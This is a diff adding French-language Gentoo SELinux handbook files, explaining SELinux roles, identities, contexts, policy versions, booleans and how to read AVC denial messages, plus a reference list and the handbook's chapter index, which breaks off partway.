+<title>Les rôles SELinux</title>
+<subsection>
+<body>
+
+<p>
+La sécurité fournie par SELinux tourne autour des types. Les rôles SELinux sont
+donc différents de ce que l'on peut trouver dans un système de contrôle d'accès
+basé sur les rôles (RBAC). Les différentes autorisations ne sont pas attribuées
+aux rôles. Un rôle décrit l'ensemble des types dont un utilisateur peut se
+servir. Par exemple, un administrateur qui utilise un système pour exécuter des
+tâches d'utilisateur classique devrait être dans le rôle <c>staff_r</c>. S'il
+veut procéder à une tâche d'administration système, il doit alors explicitement
+basculer dans le rôle <c>sysadm_r</c>. En termes SELinux, la liste des domaines
+dans lesquels un utilisateur peut se trouver dépend de son rôle. Si un rôle
+n'est pas autorisé à avoir un certain domaine, une transition vers ce domaine
+sera rejetée, même si la règle du type permet la transition de domaine. Un rôle
+est généralement suffixé par un «&nbsp;_r&nbsp;», par exemple&nbsp;:
+<c>system_r</c>.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Les identités SELinux</title>
+<subsection>
+<title>Qu'est-ce qu'une identité SELinux&nbsp;?</title>
+<body>
+
+<p>
+Une identité SELinux est similaire à un nom d'utilisateur Linux. Le changement
+d'identité devrait être limité à certains cas spécifiques, car le contrôle
+d'accès basé sur les rôles se repose sur l'identité SELinux. Donc, en général,
+l'identité SELinux d'un utilisateur ne changera pas tout au long de sa session.
+L'identifiant utilisateur de Linux peut être changé par set(e)uid, ce n'est
+donc pas un identifiant approprié pour une identité SELinux. Si on attribue une
+identité SELinux à un utilisateur, celle-ci doit correspondre au nom
+d'utilisateur Linux. À chaque identité SELinux on attribue un ensemble de
+rôles.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Configurer la correspondance des identités SELinux</title>
+<body>
+
+<p>
+Une politique SELinux contient plusieurs identités SELinux génériques qui
+devraient convenir pour tous les utilisateurs. Cette correspondance n'a besoin
+d'être configurée que lors d'une utilisation de la politique stricte. Vous
+n'avez pas besoin de la configurer avec la politique ciblée, car l'identité par
+défaut (user_u) est suffisante dans tous les cas.
+</p>
+
+<p>
+Lorsqu'un utilisateur se connecte, l'identité SELinux est déterminée selon
+cette correspondance.
+</p>
+
+<table>
+<tr>
+  <th>Identité SELinux</th>
+  <th>Rôles</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>system_u</ti>
+  <ti>system_r</ti>
+  <ti>
+    Pour les processus systèmes (non-interactifs). Ne devrait pas être
+    attribuée à un utilisateur.
+  </ti>
+</tr>
+<tr>
+  <ti>user_u</ti>
+  <ti>user_r</ti>
+  <ti>Pour les utilisateurs sans privilège. La correspondance par défaut.</ti>
+</tr>
+<tr>
+  <ti>staff_u</ti>
+  <ti>staff_r, sysadm_r</ti>
+  <ti>
+    Pour les administrateurs systèmes qui se connectent également pour exécuter
+    des tâches d'utilisateur normal.
+  </ti>
+</tr>
+<tr>
+  <ti>sysadm_u</ti>
+  <ti>sysadm_r</ti>
+  <ti>
+    Pour les administrateurs systèmes qui ne font que se connecter pour
+    exécuter des tâches administratives. Il est suggéré de ne pas utiliser
+    cette identité.
+  </ti>
+</tr>
+<tr>
+  <ti>root</ti>
+  <ti>staff_r, sysadm_r</ti>
+  <ti>
+    Identité spéciale pour root. Les autres utilisateurs devraient plutôt
+    utiliser staff_u à la place.
+  </ti>
+</tr>
+</table>
+
+<p>
+Pour savoir comment utiliser <c>semanage</c> afin de configurer vos
+correspondances, lisez notre <uri
+link="selinux-handbook.xml?part=3&amp;chap=2#doc_chap3">Guide pratique
+SELinux</uri>.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Les contextes SELinux</title>
+<subsection>
+<body>
+
+<p>
+L'utilisation des trois modèles de sécurité précédents ensemble s'appelle un
+contexte SELinux et se note sous la forme&nbsp;:
+<c>identité</c>:<c>rôle</c>:<c>type</c>. Le contexte SELinux est la valeur la
+plus importante dans la décision d'un accès.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Le contexte objet</title>
+<body>
+
+<p>
+Un <c>ls -Z</c> typique peut renvoyer un résultat semblable à celui-ci&nbsp;:
+</p>
+
+<pre caption="Exemple de ls -Z">
+drwxr-xr-x  root     root     system_u:object_r:bin_t          bin
+drwxr-xr-x  root     root     system_u:object_r:boot_t         boot
+drwxr-xr-x  root     root     system_u:object_r:device_t       dev
+drwxr-xr-x  root     root     system_u:object_r:etc_t          etc
+</pre>
+
+<p>
+Les trois premières colonnes décrivent les permissions, le nom d'utilisateur et
+le nom de groupe, valeurs typiques de Linux. La quatrième colonne est le
+contexte du fichier ou du répertoire. On donne le rôle générique
+<c>object_r</c> aux objets. Des deux autres champs du contexte, on en déduit
+que les fichiers ont l'identité système et qu'ils sont de types différents,
+<c>bin_t</c>, <c>boot_t</c>, <c>device_t</c>, et <c>etc_t</c>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Le contexte processus</title>
+<body>
+
+<p>
+Un <c>ps ax -Z</c> typique peut renvoyer ce genre de résultat&nbsp;:
+</p>
+
+<pre caption="Exemple de ps ax -Z">
+  PID CONTEXT                                  COMMAND
+    1 system_u:system_r:init_t                 [init]
+    2 system_u:system_r:kernel_t               [keventd]
+    3 system_u:system_r:kernel_t               [ksoftirqd_CPU0]
+    4 system_u:system_r:kernel_t               [kswapd]
+    5 system_u:system_r:kernel_t               [bdflush]
+    6 system_u:system_r:kernel_t               [kupdated]
+  706 system_u:system_r:syslogd_t              [syslog-ng]
+  712 system_u:system_r:httpd_t                [apache]
+  791 system_u:system_r:sshd_t                 [sshd]
+  814 system_u:system_r:crond_t                [cron]
+  826 system_u:system_r:getty_t                [agetty]
+  827 system_u:system_r:getty_t                [agetty]
+  828 system_u:system_r:getty_t                [agetty]
+  829 system_u:system_r:getty_t                [agetty]
+  830 system_u:system_r:getty_t                [agetty]
+  831 system_u:system_r:httpd_t                [apache]
+  832 system_u:system_r:httpd_t                [apache]
+  833 system_u:system_r:httpd_t                [apache]
+23093 system_u:system_r:sshd_t                 [sshd]
+23095 user_u:user_r:user_t                     [bash]
+23124 system_u:system_r:sshd_t                 [sshd]
+23126 user_u:user_r:user_t                     [bash]
+23198 system_u:system_r:sshd_t                 [sshd]
+23204 user_u:user_r:user_t                     [bash]
+23274 system_u:system_r:sshd_t                 [sshd]
+23275 pebenito:staff_r:staff_t                 [bash]
+23290 pebenito:staff_r:staff_t                 ps ax -Z
+</pre>
+
+<p>
+Dans cet exemple, le contexte de chaque processus est affiché en plus des
+informations typiques. Si on examine cette liste, on remarque que tous les
+processus du noyau et les démons tournent sous l'identité <c>system_u</c> et
+avec le rôle <c>system_r</c>. Les domaines individuels dépendent du programme.
+On note plusieurs utilisateurs connectés en SSH, sous l'identité générique
+<c>user_u</c>. Enfin, un utilisateur, portant l'identité <c>pebenito</c>, est
+connecté avec le rôle <c>staff_r</c> et se trouve dans le domaine
+<c>staff_t</c>.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Les fichiers de politiques de SELinux</title>
+<subsection>
+<body>
+
+<p>
+Les fichiers sources des politiques de SELinux ne sont plus installés sur le
+système. Dans les répertoires <c>/usr/share/selinux/{strict,targeted}</c>, vous
+trouverez une série de paquets de politiques et d'en-têtes afin de construire
+des modules locaux. Les fichiers de politiques sont traités par m4, puis le
+compilateur de politique <c>checkmodule</c> vérifie qu'il n'y ait pas d'erreur
+de syntaxe avant de créer un module de politique. Ensuite, un paquet de
+politique est créé avec la commande <c>semodule_package</c> en utilisant le
+module de politique et les contextes de fichiers du module. La politique, une
+fois empaquetée, peut alors être chargée dans un noyau SELinux en l'insérant
+dans le magasin de modules.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>*.pp</title>
+<body>
+
+<p>
+Les paquets de politiques pour cette politique. Ils doivent être insérés dans
+le magasin de modules afin d'être chargés dans la politique. Dans le paquet, se
+trouve un module de politique chargeable et éventuellement un fichier de
+contexte de fichier.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>include/</title>
+<body>
+
+<p>
+Les en-têtes de politiques pour cette politique.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Les versions de politiques binaires</title>
+<subsection>
+<body>
+
+<p>
+Lors d'une compilation de politique, le fichier binaire résultant contient un
+numéro de version. La première version qui a été introduite dans le noyau Linux
+a été la version 15. Le numéro de version n'est en général incrémenté que
+lorsqu'une nouvelle fonctionnalité ajoutée nécessite des changements de
+structure de la politique compilée binaire. Par exemple, dans Linux 2.6.5, des
+extensions concernant les politiques conditionnelles ont été ajoutées. Le
+numéro de version des politiques résultantes a été incrémenté à 16.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Quelle est la version de politique de mon noyau&nbsp;?</title>
+<body>
+
+<p>
+La version de politique d'un noyau peut se déterminer à l'aide des outils
+<c>sestatus</c> ou <c>policyvers</c>. Les noyaux actuels peuvent charger une
+politique d'une version antécédente, par exemple un noyau en version 17 peut
+aussi charger les politiques en version 16. Cependant, cette compatibilité
+pourra être supprimée à l'avenir.
+</p>
+
+<note>
+L'infrastructure de gestion des politiques (libsemanage) créera et utilisera
+automatiquement la bonne version de la politique. Aucune étape supplémentaire
+n'est requise.
+</note>
+
+</body>
+</subsection>
+<subsection>
+<title>Versions de politiques</title>
+<body>
+
+<p>
+La table suivante indique l'historique des versions de politiques selon la
+version de Linux 2.6.
+</p>
+
+<table>
+<tr>
+  <th>Version</th>
+  <th>Description</th>
+  <th>Versions de Linux</th>
+</tr>
+<tr>
+  <ti>12</ti>
+  <ti>SELinux «&nbsp;Vieille API&nbsp;» (obsolète)</ti>
+</tr>
+<tr>
+  <ti>15</ti>
+  <ti>SELinux «&nbsp;nouvelle API&nbsp;» intégrée dans 2.6</ti>
+  <ti>2.6.0 - 2.6.4</ti>
+</tr>
+<tr>
+  <ti>16</ti>
+  <ti>Ajout d'extensions permettant les politiques conditionnelles</ti>
+  <ti>2.6.5</ti>
+</tr>
+<tr>
+  <ti>17</ti>
+  <ti>Ajout du support IPv6</ti>
+  <ti>2.6.6 - 2.6.7</ti>
+</tr>
+<tr>
+  <ti>18</ti>
+  <ti>Amélioration du support des sockets Netlink</ti>
+  <ti>2.6.8 - 2.6.11</ti>
+</tr>
+<tr>
+  <ti>19</ti>
+  <ti>Amélioration de la sécurité multi-niveaux</ti>
+  <ti>2.6.12 - 2.6.13</ti>
+</tr>
+<tr>
+  <ti>20</ti>
+  <ti>Optimisation de la taille des tables de vecteurs d'accès</ti>
+  <ti>2.6.14 - 2.6.18</ti>
+</tr>
+<tr>
+  <ti>21</ti>
+  <ti>Classes d'objets</ti>
+  <ti>2.6.19 - 2.6.24</ti>
+</tr>
+<tr>
+  <ti>22</ti>
+  <ti>Fonctionnalités des politiques</ti>
+  <ti>Depuis 2.6.25</ti>
+</tr>
+</table>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Les extensions de politique conditionnelle</title>
+<subsection>
+<body>
+
+<p>
+Les extensions de politique conditionnelle permettent l'activation et la
+désactivation de règles à la volée, sans besoin de recharger une politique
+modifiée. En utilisant les booléens et les expressions de politique, les règles
+peuvent être appliquées conditionnellement.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Afficher les valeurs des booléens</title>
+<body>
+
+<p>
+L'état des booléens de la politique courante peut être déterminé de deux
+façons. Premièrement, en utilisant <c>sestatus</c>&nbsp;:
+</p>
+
+<pre caption="Exemple de résultat de sestatus">
+# <i>sestatus</i>
+SELinux status:         enabled
+SELinuxfs mount:        /selinux
+Current mode:           enforcing
+Policy version:         17
+ 
+Policy booleans:
+user_ping               inactive
+</pre>
+
+<p>
+La deuxième méthode est l'utilisation de <c>getsebool</c>, un outil simple qui
+affiche l'état courant et l'état en attente (pending) des booléens.
+</p>
+
+<pre caption="Exemple de résultat de getsebool">
+# <i>getsebool -a</i>
+user_ping --> active: 0 pending: 0
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Modifier un booléen</title>
+<body>
+
+<p>
+La valeur d'un booléen peut être inversée en utilisant la commande
+<c>togglesebool</c>. On peut spécifier plusieurs booléens sur la ligne de
+commande. La nouvelle valeur des booléens sera affichée en retour.
+</p>
+
+<pre caption="Exemple d'utilisation de togglesebool">
+# <i>togglesebool user_ping</i>
+user_ping: active
+</pre>
+
+<p>
+La valeur d'un booléen peut également être définie explicitement avec
+<c>setsebool</c>.
+</p>
+
+<pre caption="Exemple d'utilisation de setsebool">
+# <i>setsebool user_ping 0</i>
+</pre>
+
+<p>
+Pour définir la valeur d'un booléen et en faire sa valeur par défaut, utilisez
+l'option <c>-P</c>.
+</p>
+
+<pre caption="Changer la valeur par défaut">
+# <i>setsebool -P user_ping 1</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Les messages du noyau concernant la politique</title>
+<subsection>
+<body>
+
+<p>
+Lorsque le système tourne, un programme ou un utilisateur peut tenter de faire
+quelque chose qui viole la politique de sécurité. Si le système respecte la
+politique (mode <e>enforcing</e>), l'accès sera refusé et un message sera
+envoyé dans le journal du noyau. Si le système est en mode <e>permissive</e>,
+l'accès sera autorisé mais il y aura tout de même un message envoyé au journal
+du noyau.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Les messages de l'AVC</title>
+<body>
+
+<p>
+La plupart des messages du noyau provenant de SELinux viennent du cache de
+vecteurs d'accès (AVC pour Access Vector Cache). Comprendre les refus d'accès
+est important pour déterminer si une attaque est en cours ou bien si le
+programme demande un accès non prévu. Voici un exemple de refus d'accès&nbsp;:
+</p>
+
+<pre caption="Exemple de message de l'AVC">
+avc:  denied  { read write } for  pid=3392 exe=/bin/mount dev=03:03 ino=65554
+scontext=pebenito:sysadm_r:mount_t tcontext=system_u:object_r:tmp_t tclass=file
+</pre>
+
+<p>
+Bien que la plupart des messages de l'AVC soient des refus d'accès, il peut
+aussi de temps en temps y avoir des messages d'audit à propos d'accès
+autorisés&nbsp;:
+</p>
+
+<pre caption="Un autre exemple de message de l'AVC">
+avc:  granted  { load_policy } for  pid=3385 exe=/usr/sbin/load_policy
+scontext=pebenito:sysadm_r:load_policy_t tcontext=system_u:object_r:security_t tclass=security
+</pre>
+
+<p>
+Dans ce cas-ci, la demande de charger la politique a été autorisée. C'est un
+évènement de sécurité critique et est donc toujours audité. Un autre évènement
+toujours audité est le passage du mode <e>enforcing</e> vers <e>permissive</e>
+et inversement.
+</p>
+
+<p>
+SELinux n'enregistrera pas les refus d'accès dans le journal s'il y en a trop à
+la fois. Cela ne veut pas forcément dire qu'une attaque est en cours. Un
+programme peut par exemple être en train d'exécuter un stat() sur les fichiers
+présents dans <path>/dev/</path>. SELinux limite le nombre de messages afin de
+minimiser les risques de saturation du journal&nbsp;:
+</p>
+
+<pre caption="Un dernier exemple de message de l'AVC">
+AVC: 12 messages suppressed.
+</pre>
+
+<p>
+Si le comportement du programme est normal et que ces accès doivent bien être
+refusés, la politique doit alors être modifiée afin de ne pas auditer ces
+accès.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Autres messages du noyau</title>
+<body>
+
+<pre caption="inode_doinit_with_dentry">
+inode_doinit_with_dentry:  context_to_sid(system_u:object_r:bar_t) returned 22 for dev=hda3 ino=517610
+</pre>
+
+<p>
+Cela signifie que le fichier se trouvant sur /dev/hda3 et ayant le numéro
+d'inode 517610 a le contexte system_u:object_r:bar_t, qui est invalide. Les
+objets qui ont un contexte invalide sont traités comme s'ils avaient le
+contexte system_u:object_r:unlabeled_t.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Autopsie d'un refus d'accès</title>
+<subsection>
+<body>
+
+<p>
+Les refus d'accès contiennent une quantité variable d'information, selon le
+type d'accès.
+</p>
+
+<pre caption="Exemples de refus d'accès">
+avc:  denied  { lock } for  pid=28341 exe=/sbin/agetty path=/var/log/wtmp dev=03:03 ino=475406
+scontext=system_u:system_r:getty_t tcontext=system_u:object_r:var_log_t tclass=file
+
+avc:  denied  { create } for  pid=20909 exe=/bin/ls scontext=pebenito:sysadm_r:mkinitrd_t
+tcontext=pebenito:sysadm_r:mkinitrd_t tclass=unix_stream_socket
+
+avc:  denied  { setuid } for  pid=3170 exe=/usr/bin/ntpd capability=7
+scontext=system_u:system_r:ntpd_t tcontext=system_u:system_r:ntpd_t tclass=capability
+</pre>
+
+<p>
+Les refus d'accès concernent généralement l'accès à un fichier. Pour mieux
+comprendre, décortiquons ici le premier message&nbsp;:
+</p>
+
+<table>
+<tr>
+  <th>Extrait</th>
+  <th>Explication</th>
+</tr>
+<tr>
+  <ti>avc:  denied</ti>
+  <ti>SELinux a refusé l'accès.</ti>
+</tr>
+<tr>
+  <ti>{ lock }</ti>
+  <ti>La tentative d'accès est de type «&nbsp;lock&nbsp;» (verrou).</ti>
+</tr>
+<tr>
+  <ti>pid=28341</ti>
+  <ti>L'identifiant du processus est 28341.</ti>
+</tr>
+<tr>
+  <ti>exec=/sbin/agetty</ti>
+  <ti>Le chemin complet du processus exécutable est /sbin/agetty.</ti>
+</tr>
+<tr>
+  <ti>path=/var/log/wtmp</ti>
+  <ti>
+    Le chemin complet de l'objet cible est /var/log/wtmp. Notez que le chemin
+    complet n'est pas toujours disponible.
+  </ti>
+</tr>
+<tr>
+  <ti>dev=03:03</ti>
+  <ti>
+    L'objet cible réside sur le périphérique 03:03 (numéros majeur:mineur). Le
+    noyau 2.6 peut procéder à une résolution de nom, hda3 ici.
+  </ti>
+</tr>
+<tr>
+  <ti>ino=475406</ti>
+  <ti>Le numéro d'inode de la cible est 475406.</ti>
+</tr>
+<tr>
+  <ti>scontext=system_u:system_r:getty_t</ti>
+  <ti>Le contexte du programme est system_u:system_r:getty_t.</ti>
+</tr>
+<tr>
+  <ti>tcontext=system_u:object_r:var_log_t</ti>
+  <ti>Le contexte de l'objet cible est system_u:object_r:var_log_t.</ti>
+</tr>
+<tr>
+  <ti>tclass=file</ti>
+  <ti>L'objet cible est un fichier normal.</ti>
+</tr>
+</table>
+
+<p>
+Tous les messages de l'AVC n'ont pas forcément tous ces champs, comme notamment
+les deux exemples suivants. Les champs présents varient en fonction de la
+classe de l'objet cible. Cependant, les champs les plus importants (le type
+d'accès, les contextes source et cible et l'objet cible) seront toujours
+affichés dans un message de l'AVC.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Comprendre le refus d'accès</title>
+<body>
+
+<p>
+Les messages de refus d'accès sont parfois trompeurs car ils peuvent être
+envoyés pour plusieurs raisons. Pour comprendre ce qu'il se passe, il faut
+connaitre le comportement du programme et savoir correctement interpréter les
+messages de refus d'accès. La cible n'est pas forcément un fichier, mais peut
+aussi être une socket réseau, une communication interprocessus, etc.
+</p>
+
+<p>
+Dans l'exemple précédent, <c>agetty</c> se voit refuser le droit de poser un
+verrou sur un fichier. Le type du fichier est var_log_t, ce qui implique que le
+fichier cible se trouve dans <path>/var/log/</path>. Grâce aux informations
+supplémentaires fournies par le champ path= du message de refus d'accès, on
+confirme que le fichier est <path>/var/log/wtmp</path>. Si l'information du
+chemin complet n'avait pas été disponible, on aurait pu trouver le fichier avec
+le numéro d'inode. <path>wtmp</path> est un fichier qui contient des
+informations à propos des utilisateurs actuellement connectés au système et
+<c>agetty</c> gère justement les connexions depuis un tty. On peut donc en
+conclure que c'est un comportement normal de la part d'<c>agetty</c> de vouloir
+mettre à jour <path>wtmp</path>. Cependant, pourquoi cet accès est-il
+refusé&nbsp;? Y aurait-il une anomalie dans la politique qui empêcherait
+<c>agetty</c> de mettre à jour <path>wtmp</path>&nbsp;? En réalité, c'est
+<path>wtmp</path> qui a un mauvais contexte. Cela devrait être
+system_u:object_r:wtmp_t et non pas system_u:object_r:var_log_t.
+</p>
+
+<p>
+Si cette demande d'accès n'avait pas été bien comprise, l'administrateur aurait
+pu faire l'erreur d'autoriser les accès en lecture/écriture de getty_t vers les
+fichiers var_log_t, ce qui aurait été incorrect, puisqu'<c>agetty</c> n'a
+besoin que de modifier <path>/var/log/wtmp</path>. Cet exemple souligne à quel
+point il est important de garder les contextes des fichiers dans un état
+cohérent.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Références</title>
+<subsection>
+<body>
+
+<p>
+Le site de <uri link="http://www.nsa.gov/selinux/">SELinux</uri> et le fichier
+README de SELinux.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-references.xml b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-references.xml
new file mode 100644
index 00000000..327fb0d7
--- /dev/null
+++ b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-references.xml
@@ -0,0 +1,181 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- Le contenu de ce document est sous licence CC-BY-SA. -->
+<!-- Voir http://creativecommons.org/licenses/by-sa/1.0/deed.fr -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-references.xml,v 1.1 2009/02/23 23:35:52 cam Exp $ -->
+
+<sections>
+<version>1.2</version>
+<date>2006-05-07</date>
+
+<section>
+<title>Généralités</title>
+<subsection>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://www.nsa.gov/selinux/papers/inevit-abs.cfm">The
+    Inevitability of Failure: The Flawed Assumption of Security in Modern
+    Computing Environments</uri> explique la nécessité d'utiliser des contrôles
+    d'accès obligatoire.
+  </li>
+  <li>
+    <uri link="http://www.nsa.gov/selinux/papers/flask-abs.cfm">The Flask
+    Security Architecture: System Support for Diverse Security Policies</uri>
+    explique l'architecture de sécurité de Flask, l'architecture utilisée par
+    SELinux.
+  </li>
+  <li>
+    <uri link="http://www.nsa.gov/selinux/papers/module-abs.cfm">Implementing
+    SELinux as a Linux Security Module</uri> décrit les particularités qui
+    concernent les vérifications des accès au noyau par SELinux.
+  </li>
+</ul>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>La politique</title>
+<subsection>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://www.nsa.gov/selinux/papers/policy2-abs.cfm">Configuring
+    the SELinux Policy</uri>
+  </li>
+  <li>
+    <uri link="http://oss.tresys.com/projects/refpolicy">SELinux Reference
+    Policy</uri>
+  </li>
+  <li>
+    <uri
+    link="http://www.tresys.com/selinux/selinux-course-outline.shtml">SELinux
+    Policy Development Course</uri> (La présentation est disponible en bas de
+    la page.)
+  </li>
+  <li>
+    <uri link="http://www.tresys.com/selinux/obj_perms_help.shtml">Object
+    Classes and Permissions</uri>, une vue générale des classes d'objets et des
+    permissions de SELinux.
+  </li>
+</ul>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Quelques livres</title>
+<subsection>
+<body>
+
+<ul>
+  <li>
+    <c>SELinux by Example: Using Security Enhanced Linux</c>, Frank Mayer, Karl
+    MacMillan, and David Caplan, Prentice Hall, 2006; ISBN 0131963694
+  </li>
+  <li>
+    <c>SELinux: NSA's Open Source Security Enhanced Linux</c>, Bill McCarty,
+    O'Reilly Media, 2004; ISBN 0596007167
+  </li>
+</ul>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Notes de conférences</title>
+<subsection>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://www.selinux-symposium.org/2006/summit.php">March 3rd,
+    2006 SELinux Developer Summit</uri>
+  </li>
+  <li>
+    <uri link="http://www.selinux-symposium.org/meeting.php">May 6th, 2004
+    Informal Meeting</uri>
+  </li>
+</ul>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Présentations</title>
+<subsection>
+<title>2006 SELinux Symposium</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://www.nsa.gov/selinux/papers/selsymp2006-abs.cfm">SELinux
+    Year in Review</uri>, Stephen Smalley, National Security Agency
+  </li>
+  <li>
+    <uri
+    link="http://www.selinux-symposium.org/2006/slides/03-refpolicy-slides.pdf">Reference
+    Policy for Security Enhanced Linux</uri>, Karl MacMillan, Tresys Technology
+    (<uri
+    link="http://www.selinux-symposium.org/2006/papers/05-refpol.pdf">Paper</uri>)
+  </li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>2005 SELinux Symposium</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://www.nsa.gov/selinux/papers/selsymp2005-abs.cfm">SELinux
+    Overview</uri>, Stephen Smalley, National Security Agency
+  </li>
+  <li>
+    <uri
+    link="http://www.selinux-symposium.org/2005/presentations/session3/3-2-macmillan.pdf">Core
+    Policy Management Infrastructure for SELinux</uri>, Karl MacMillan, Tresys
+    Technology
+  </li>
+  <li>
+    <uri
+    link="http://www.selinux-symposium.org/2005/presentations/session4/4-1-walsh.pdf">Targeted
+    vs. Strict Policy History and Strategy</uri>, Dan Walsh, Red Hat
+  </li>
+  <li>
+    <uri
+    link="http://www.selinux-symposium.org/2005/presentations/session4/4-4-mayer.pdf">Tresys
+    SETools: Tools and Libraries for Policy Analysis and Management</uri>,
+    Frank Mayer, Tresys Technology
+  </li>
+  <li>
+    <uri
+    link="http://www.selinux-symposium.org/2005/presentations/session5/5-3-macmillan.pdf">Information
+    Flow Analysis for Type Enforcement Policies</uri>, Karl MacMillan, Tresys
+    Technology
+  </li>
+  <li>
+    <uri
+    link="http://www.selinux-symposium.org/2005/presentations/session6/6-2-mayer.pdf">SELinux
+    Policy Analysis Concepts and Techniques</uri>, David Caplan, Frank Mayer,
+    Tresys Technology
+  </li>
+</ul>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/hardened/selinux/selinux-handbook.xml b/xml/htdocs/proj/fr/hardened/selinux/selinux-handbook.xml
new file mode 100644
index 00000000..829e7d01
--- /dev/null
+++ b/xml/htdocs/proj/fr/hardened/selinux/selinux-handbook.xml
@@ -0,0 +1,156 @@
+<?xml version="1.0" encoding='UTF-8'?>
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/hardened/selinux/selinux-handbook.xml,v 1.1 2009/02/26 00:50:08 cam Exp $ -->
+
+<book link="selinux-handbook.xml">
+<title>Manuel Gentoo SELinux</title>
+
+<author title="Author">
+  <mail>pebenito</mail>
+</author>
+<author title="Traducteur">
+  <mail>cam</mail>
+</author>
+
+<abstract>
+Manuel SELinux pour Gentoo Linux.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>2.00</version>
+<date>2006-10-15</date>
+
+<part>
+<title>Installer Gentoo SELinux</title>
+<abstract>
+Vous apprendrez dans cette partie comment installer Gentoo SELinux sur votre
+système.
+</abstract>
+
+<chapter>
+<title>Installation de Gentoo SELinux</title>
+<abstract>
+Déployer une installation de Gentoo SELinux.
+</abstract>
+  <include href="hb-install.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Conversion vers Gentoo SELinux</title>
+<abstract>
+SELinux peut également être installé sur un système Linux existant. Ce chapitre
+vous montre comment convertir une installation Gentoo en SELinux.
+</abstract>
+<chapter>
+<title>Préliminaires</title>
+<abstract>
+Préparer votre système avant la conversion vers SELinux.
+</abstract>
+  <include href="hb-selinux-conv-profile.xml"/>
+</chapter>
+<chapter>
+<title>Démarrer un noyau SELinux</title>
+<abstract>
+Installer et démarrer un noyau SELinux.
+</abstract>
+  <include href="hb-selinux-conv-reboot1.xml"/>
+</chapter>
+<chapter>
+<title>Installer les outils SELinux</title>
+<abstract>
+Installer les paquets et les politiques SELinux et étiqueter les systèmes de
+fichiers.
+</abstract>
+  <include href="hb-selinux-conv-reboot2.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Utiliser SELinux</title>
+<abstract>
+Apprenez comment utiliser SELinux.
+</abstract>
+<chapter>
+<title>Présentation de SELinux</title>
+<abstract>
+Ce chapitre explique les concepts importants de SELinux et les politiques de
+sécurité.
+</abstract>
+  <include href="hb-selinux-overview.xml"/>
+</chapter>
+<chapter>
+<title>Guide SELinux</title>
+<abstract>
+Ce chapitre décrit les opérations courantes à effectuer avec SELinux.
+</abstract>
+  <include href="hb-selinux-howto.xml"/>
+</chapter>
+<chapter>
+<title>Foire aux Questions sur SELinux</title>
+<abstract>
+Ce chapitre contient les questions fréquemment posées à propos de SELinux.
+</abstract>
+  <include href="hb-selinux-faq.xml"/>
+</chapter>
+<chapter>
+<title>L'infrastructure de gestion de SELinux</title>
+<abstract>
+Ce chapitre explique comment gérer SELinux avec les outils.
+</abstract>
+  <include href="hb-selinux-libsemanage.xml"/>
+</chapter>
+<chapter>
+<title>Les modules de politique locale</title>
+<abstract>
+Ce chapitre explique comment ajouter des règles et des nouveaux modules à votre
+politique de sécurité.
+</abstract>
+  <include href="hb-selinux-localmod.xml"/>
+</chapter>
+<chapter>
+<title>Références sur SELinux</title>
+<abstract>
+Une liste de références externes à propos de SELinux.
+</abstract>
+  <include href="hb-selinux-references.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Résolution des problèmes liés à SELinux</title>
+<abstract>
+En cas de problème sur une machine, SELinux rend sa résolution compliquée. Ce
+chapitre décrit comment résoudre les problèmes de base.
+</abstract>
+<chapter>
+<title>La politique n'est pas chargée au démarrage</title>
+<abstract>
+Ce chapitre vous aidera à déterminer pourquoi la politique n'est pas chargée au
+démarrage du système.
+</abstract>
+  <include href="hb-selinux-initpol.xml"/>
+</chapter>
+<chapter>
+<title>Problème de connexion locale</title>
+<abstract>
+Ce chapitre vous aidera si vous n'arrivez pas à vous connecter en console
+locale.
+</abstract>
+  <include href="hb-selinux-loglocal.xml"/>
+</chapter>
+<chapter>
+<title>Problème de connexion distante</title>
